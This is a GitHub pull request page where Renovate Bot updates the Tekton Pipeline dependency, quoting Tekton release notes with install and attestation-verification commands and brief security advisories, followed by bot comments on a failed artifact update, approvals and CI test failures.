  • 🔨 build(deps): bump go.opentelemetry.io/otel/trace from 1.39.0 to 1.40.0 (#​9445)

  • 🔨 fix: release cheat sheet doc typos (#​9415)

Docs
  • 📖 Re-enable pipeline-api.md generation (#​9604)

Update the pipeline API published at https://tekton.dev/docs/pipelines/pipeline-api/

  • 📖 docs(auth): clean stale TODO (#​9504)

Clean up stale TODO in auth.md

  • 📖 doc: Clarify scope of auth documentation (#​9461)

Added auth doc scope to distinguish credentials for processes inside Steps from Kubernetes imagePullSecrets for pulling Step images.

  • 📖 docs: update releases.md with security patch releases (#​9616)
  • 📖 docs: add 4 undocumented metrics to docs/metrics.md (#​9512)
  • 📖 docs: fix broken internal markdown links (#​9507)
  • 📖 docs: add README files for pipelinerun and taskrun examples (#​9505)
  • 📖 doc: Fix broken Tekton Bundles example link in taskruns.md (#​9462)
  • 📖 docs: update releases.md for v1.10.0 (#​9448)

Thanks

Thanks to these contributors who contributed to v1.11.0!

Extra shout-out for awesome release notes:

v1.10.2: Tekton Pipeline release v1.10.2 "LaPerm Little Helper"

Compare Source

-Docs @​ v1.10.2
-Examples @​ v1.10.2

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.10.2/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a104b9492904b91b09e714ee02dae9637eee78dfd892d6ca7cab46ce0208fd387

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a104b9492904b91b09e714ee02dae9637eee78dfd892d6ca7cab46ce0208fd387
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.10.2/release.yaml
REKOR_UUID=108e9186e8c5677a104b9492904b91b09e714ee02dae9637eee78dfd892d6ca7cab46ce0208fd387

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.10.2@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ===> ok" || echo " ===> no match";
done

Changes

⚠️ Security Fixes

  • GHSA-j5q5-j9gm-2w5c (Critical): Path traversal in git resolver allows reading arbitrary files from the resolver pod. Fixed by validating the pathInRepo parameter to prevent directory traversal.

  • GHSA-cv4x-93xx-wgfj / CVE-2026-33022 (Medium): Controller panic via long resolver name in TaskRun/PipelineRun. A user with permission to create TaskRuns or PipelineRuns could crash the controller into a restart loop by setting a resolver name of 31+ characters, causing denial of service cluster-wide. Thanks to @​1seal for reporting this vulnerability.

Thanks

Thanks to these contributors who contributed to v1.10.2!

v1.10.1: Tekton Pipeline release v1.10.1 "LaPerm Little Helper"

Compare Source

-Docs @​ v1.10.1
-Examples @​ v1.10.1

Installation one-liner

kubectl apply -f https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.10.1/release.yaml

Attestation

The Rekor UUID for this release is 108e9186e8c5677a8754062aee1bb73b992fe19d8c70544f16dd0bd502e19006c984c56928e9df4f

Obtain the attestation:

REKOR_UUID=108e9186e8c5677a8754062aee1bb73b992fe19d8c70544f16dd0bd502e19006c984c56928e9df4f
rekor-cli get --uuid $REKOR_UUID --format json | jq -r .Attestation | jq .

Verify that all container images in the attestation are in the release file:

RELEASE_FILE=https://infra.tekton.dev/tekton-releases/pipeline/previous/v1.10.1/release.yaml
REKOR_UUID=108e9186e8c5677a8754062aee1bb73b992fe19d8c70544f16dd0bd502e19006c984c56928e9df4f

# Obtains the list of images with sha from the attestation
REKOR_ATTESTATION_IMAGES=$(rekor-cli get --uuid "$REKOR_UUID" --format json | jq -r .Attestation | jq -r '.subject[]|.name + ":v1.10.1@&#8203;sha256:" + .digest.sha256')

# Download the release file
curl -L "$RELEASE_FILE" > release.yaml

# For each image in the attestation, match it to the release file
for image in $REKOR_ATTESTATION_IMAGES; do
  printf $image; grep -q $image release.yaml && echo " ==

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://redirect.github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi45OS4wLXJwbSIsInVwZGF0ZWRJblZlciI6IjQyLjk5LjAtcnBtIiwidGFyZ2V0QnJhbmNoIjoicmVsZWFzZS12MC4yNCIsImxhYmVscyI6WyJyZWxlYXNlLW5vdGUtbm9uZSJdfQ==-->

@redhat-renovate-bot redhat-renovate-bot added the release-note-none Denotes a PR that doesn't merit a release note. label Mar 18, 2026
@redhat-renovate-bot
Copy link
Copy Markdown
Collaborator Author

redhat-renovate-bot commented Mar 18, 2026 •
edited
Loading

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: go.sum
Command failed: go get -t ./...
go: k8s.io/api@v0.36.0 requires go >= 1.26.0 (running go 1.25.8)
go: k8s.io/api@v0.36.0 requires go >= 1.26.0 (running go 1.25.8)
go: k8s.io/api@v0.36.0 requires go >= 1.26.0 (running go 1.25.8)

@kubevirt-bot kubevirt-bot added dco-signoff: yes Indicates the PR's author has DCO signed all their commits. size/XS labels Mar 18, 2026
@openshift-ci openshift-ci Bot requested review from 0xFelix and akrejcir March 18, 2026 01:17
@kubevirt-bot kubevirt-bot requested a review from ksimon1 March 18, 2026 01:17
@kubevirt-bot
Copy link
Copy Markdown
Contributor

kubevirt-bot commented Mar 18, 2026

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by:
Once this PR has been reviewed and has the lgtm label, please assign 0xfelix for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@openshift-ci
Copy link
Copy Markdown

openshift-ci Bot commented Mar 18, 2026

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: redhat-renovate-bot
Once this PR has been reviewed and has the lgtm label, please assign 0xfelix for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability branch 4 times, most recently from e687b24 to a4c95c7 Compare March 27, 2026 08:30
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability branch from a4c95c7 to f589d15 Compare April 1, 2026 22:28
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability branch 3 times, most recently from 7f03457 to 77b1e08 Compare April 22, 2026 04:32
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability branch from 77b1e08 to 26202ff Compare April 25, 2026 16:05
@redhat-renovate-bot
chore(deps): update module github.com/tektoncd/pipeline to v1 [security]
6b1890c 
Signed-off-by: null <redhat-internal-renovate@redhat.com>
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/release-v0.24-go-github.com-tektoncd-pipeline-vulnerability branch from 26202ff to 6b1890c Compare April 25, 2026 20:36
@openshift-ci
Copy link
Copy Markdown

openshift-ci Bot commented Apr 25, 2026

@redhat-renovate-bot: The following tests failed, say /retest to rerun all failed tests or /retest-required to rerun all mandatory failed tests:

Test name Commit Details Required Rerun command
ci/prow/images 6b1890c link true /test images
ci/prow/e2e-tests 6b1890c link true /test e2e-tests

Full PR test history. Your PR dashboard.

Details

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes-sigs/prow repository. I understand the commands that are listed here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@0xFelix 0xFelix Awaiting requested review from 0xFelix

@akrejcir akrejcir Awaiting requested review from akrejcir

@ksimon1 ksimon1 Awaiting requested review from ksimon1

Assignees

No one assigned

Labels

dco-signoff: yes Indicates the PR's author has DCO signed all their commits. release-note-none Denotes a PR that doesn't merit a release note. size/XS

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

2 participants

@redhat-renovate-bot @kubevirt-bot